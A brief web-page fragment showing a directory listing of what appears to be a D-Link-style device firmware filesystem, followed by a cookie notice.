drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 lost+found
drwxrwxr-x 6 1000 1000 4096 May 17 15:15 mnt
drwxr-xr-x 2 1000 1000 4096 May 16 09:01 mydlink
drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 proc
drwxrwxr-x 2 1000 1000 4096 May 17 17:23 root
drwxr-xr-x 2 1000 1000 4096 May 16 09:01 sbin
drwxrwxrwx 3 1000 1000 4096 May 24 23:26 tmp
drwxrwxr-x 7 1000 1000 4096 May 16 09:01 usr
drwxrwxr-x 3 1000 1000 4096 May 17 15:21 var
-rw-r–r– 1 1000 1000 17 May 16 09:01 version
drwxrwxr-x 6 1000 1000 4096 May 22 17:15 www

By continuing to use the site, you agree to the use of cookies. more information

The cookie settings on this website are set to "allow cookies" to give you the best browsing experience possible. If you continue to use this website without changing your cookie settings or you click "Accept" below then you are consenting to this.

Close